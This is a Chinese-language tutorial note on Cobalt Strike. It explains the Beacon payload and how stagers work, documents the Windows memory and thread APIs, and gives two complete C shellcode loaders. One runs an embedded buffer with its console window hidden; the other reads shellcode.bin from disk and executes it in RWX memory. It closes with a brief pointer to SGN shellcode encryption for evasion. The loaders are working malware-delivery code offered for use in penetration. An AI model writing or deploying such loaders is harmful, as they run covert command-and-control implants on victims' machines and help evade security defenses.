基础部分

Cobalt Strike基础部分

大部分自行了解,只记部分

参考:https://cloud.tencent.com/developer/article/1595548

Beacon

Beacon是CS在目标主机上运行的payload,在隐蔽的隧道上为我们提供服务,以此长期控制主机

在实际渗透中,我们可以将其嵌入到可执行文件、Word文档或者利用主机漏洞传递Beacon

Beacon功能包括:

  1. 使用HTTP/DNS检查是否有待执行任务
  2. 连接多个C2域名
  3. 分段传输后自动迁移
  4. 与CS集成,通过社工、主机漏洞以及会话等方式来传递Beacon

Beacon的工作原理

img

Beacon上线后会主动向我们设置好的Listener发送请求信息

而Team Server控制器接到请求后会检查是否有待执行任务,如果有就会将任务下发到Beacon

img

Stager

很多攻击框架都是使用分段的shellcode,以防止shellcode过长,覆盖到了上一函数栈帧的数据,导致引发异常

而分段shellcode当中一个重要的东西就是stager

stager是一段很精短的代码,它可以连接下载真正的payload并将其注入内存。我们使用stager就可以解决shellcode过长的问题。

img

Stager原理

Stager的工作流程如下:

  1. 申请内存
  2. 复制Stager到内存中
  3. 创建线程运行Stager
  4. Stager再次申请一块内存
  5. Stager下载加密后的payload,将其写入申请的内存中
  6. Stager将执行流程传递给加密的payload
  7. 加密payload自解密为反射的DLL(Reflective DLL)
  8. Reflective DLL申请一个块内存
  9. Reflective DLL初始化自身到新的内存中
  10. Reflective DLL调用payload的入口点函数
  11. 上线成功

shellcode加载器

加载器要实现的基本功能:

  1. 开辟内存
  2. 将shellcode放入内存中
  3. 使得内存中的shellcode被运行(CPU执行、回调函数执行)

内存操作相关函数

VirtualAlloc

Windows API中用于分配/申请、保留或者提交内存区域的函数

定义如下:

1
2
3
4
5
6
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
  1. lpAddress[in, optional] LPVOID
  • 含义:指定希望分配的内存起始地址。

  • 取值:

    • NULL(推荐):由系统自动选择合适的地址。
    • 非空地址:尝试在指定地址分配内存,但系统可能拒绝(需满足对齐要求且地址未被占用)。
  • 注意:除非必要,否则应传 NULL,避免与系统冲突。

  • dwSize[in] SIZE_T

  • 含义:请求分配的内存大小(字节数)。

  • 行为:

    • 系统会向上取整到页大小(通常为 4KB)。
    • 例如请求 1 字节,实际分配 4KB。
  • flAllocationType[in] DWORD

  • 含义:内存分配类型,常用值为:

    • MEM_COMMIT:为指定地址空间分配物理存储(立即占用内存)。
    • MEM_RESERVE:保留地址空间,但不分配物理内存(直到后续提交)。
    • 组合使用:MEM_COMMIT | MEM_RESERVE 同时保留并提交内存。
  • 示例:

1
2
// 分配并立即使用 1MB 内存
VirtualAlloc(NULL, 1024*1024, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  1. flProtect[in] DWORD
  • 含义:内存保护属性,常用值为:
    • PAGE_READONLY:只读访问。
    • PAGE_READWRITE:读写访问。
    • PAGE_EXECUTE_READ:可执行且可读。
    • PAGE_EXECUTE_READWRITE:可执行、可读、可写。
  • 注意:
    • 若访问权限冲突(如写入只读内存),会触发异常(需通过 try-except 处理)。
    • 数据段通常设为 PAGE_READWRITE,代码段设为 PAGE_EXECUTE_READ

使用示例:分配可读写内存

1
2
3
4
5
6
LPVOID pMemory = VirtualAlloc(
NULL, // 让系统选择地址
1024*1024, // 1MB 内存
MEM_COMMIT, // 立即分配物理内存
PAGE_READWRITE // 可读可写
);

相关的其他函数

API 分配粒度 适用场景 备注
VirtualAlloc 页(通常 4KB) 大块连续内存、虚拟地址管理 传统 API,兼容性好
VirtualAlloc2 高级内存特性(大页面、NUMA) 仅 Windows 10+
VirtualAllocEx 跨进程内存分配 需目标进程句柄
HeapAlloc 任意大小 频繁分配小块内存 基于进程堆,高效
MapViewOfFile 任意大小 文件映射、共享内存 适合大文件或进程间通信
LocalAlloc 任意大小 兼容旧代码 基于进程堆
MmMapIoSpace 任意大小 内核模式设备映射 仅驱动开发可用

Memcpy

C 标准库中的一个函数,用于将内存块的内容从一个位置复制到另一个位置

1
2
3
4
5
void *memcpy(
void *dest, // 目标内存地址
const void *src, // 源内存地址
size_t n // 要复制的字节数
);
  1. dest(目标地址)

    1. 类型:void*(可接受任意类型的指针)
    2. 含义:指向复制操作的目标内存区域。
    3. 注意:
      • 需确保目标内存区域有足够空间(至少 n 字节),否则会导致内存溢出。
      • 若目标区域与源区域重叠,可能导致未定义行为(推荐使用 memmove 处理重叠情况)。
  2. src(源地址)

    1. 类型:const void*(只读,防止修改源数据)
    2. 含义:指向要复制的源内存区域。
    3. 注意:源地址必须有效且可读。
  3. n(复制字节数)

    1. 类型:size_t(无符号整数,通常为 unsigned long
    2. 含义:指定要从源地址复制到目标地址的字节数。
    3. 注意:
      • 复制的是二进制数据,不关心数据类型(如 int 会被按字节拆分复制)。
      • n 过大,可能导致越界访问;若过小,数据会被截断。

执行 shellcode函数

CreateThread

CreateThread 是 Windows API 中用于创建线程的函数,其参数功能和使用细节如下

1
2
3
4
5
6
7
8
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);

lpThreadAttributes : 一个指向 SECURITY_ATTRIBUTES 结构的指针,用于指定新线程的安全性。可以为 NULL ,表示使用默认的线程安全性。

dwStackSize : 指定新线程的初始堆栈大小。可以为 0,表示使用默认堆栈大小。

lpStartAddress : 指向线程函数的指针,即新线程的入口点。线程函数是一个 LPTHREAD_START_ROUTINE 类型的函数指针,通常是线程的主要执行体。

lpParameter : 传递给线程函数的参数。这是一个指向任意类型的指针,可以用来传递数据给线程 函数。

dwCreationFlags : 指定新线程的创建标志。常用的标志包括:

0 : 默认标志,表示线程立即可执行。

CREATE_SUSPENDED (0x00000004) : 创建后线程处于挂起状态,需要调用 ResumeThread 才能执行

lpThreadId : 一个指向 DWORD 的指针,用于接收新线程的标识符(线程 ID)。如果不需要线程 ID,可以传递 NULL 。

简单加载器编写

不做任何处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <windows.h> // Windows API 和 一些常量
#include <stdio.h> // 标准输入输出库的头文件
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
unsigned char buf[] = "";
void main() {
// 使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块
LPVOID exec = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// 申请失败 , 退出
if (exec == NULL) {
return;
}
// 把shellcode拷贝到这块内存
memcpy(exec, buf, sizeof(buf));
// 创建线程运行
HANDLE hThread = CreateThread(
NULL,
NULL,
(LPTHREAD_START_ROUTINE)exec,
NULL,
NULL,
0);
// 等待线程运行
WaitForSingleObject(hThread, -1);
// 关闭线程
CloseHandle(hThread);
}

加载文件的(shellcode分离)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>

// 加载并执行 shellcode 的函数
void load(char* buf, int shellcode_size) {
DWORD dwThreadId; // 线程 ID
HANDLE hThread; // 线程句柄

// 申请可执行内存
char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);

// 复制 shellcode 到可执行内存
CopyMemory(shellcode, buf, shellcode_size);

// 创建线程执行 shellcode
hThread = CreateThread(
NULL, // 安全描述符(默认)
0, // 栈大小(默认)
(LPTHREAD_START_ROUTINE)shellcode, // 线程入口(shellcode 地址)
NULL, // 线程参数
0, // 线程创建标志(立即执行)
&dwThreadId // 接收线程 ID
);

// 等待线程执行完毕
WaitForSingleObject(hThread, INFINITE);
// 释放资源
CloseHandle(hThread);
VirtualFree(shellcode, 0, MEM_RELEASE);
}

int main(int argc, char* argv[]) {
const char* filename = "shellcode.bin";
FILE* file;
long length;
char* data;

// 以二进制只读模式打开文件
file = fopen(filename, "rb");
if (file == NULL) {
printf("无法打开文件: %s\n", filename);
return 1;
}

// 获取文件大小
fseek(file, 0, SEEK_END);
length = ftell(file);
fseek(file, 0, SEEK_SET);

// 分配内存存储文件内容
data = (char*)malloc(length);
if (data == NULL) {
printf("内存分配失败\n");
fclose(file);
return 1;
}

// 读取文件内容
printf("正在从文件读取...\n");
fread(data, 1, length, file);
fclose(file);

// 输出调试信息
printf("data 指针大小 = %zu 字节\n", sizeof(data)); // 指针大小(固定为4或8字节)
printf("文件实际大小 = %ld 字节\n", length);

// 打印 shellcode 的十六进制格式(可选)
for (int i = 0; i < length; i++) {
printf("\\x%02x", (unsigned char)data[i]); // 补零确保两位十六进制
}
printf("\n");

// 加载并执行 shellcode
load(data, length);

// 释放内存
free(data);
printf("加载成功\n");
return 0;
}

简单shellcode加密

SGN加密

img

参考:

https://xz.aliyun.com/news/13995

https://www.cnblogs.com/xiaoxin07/p/18097421#0x00-dll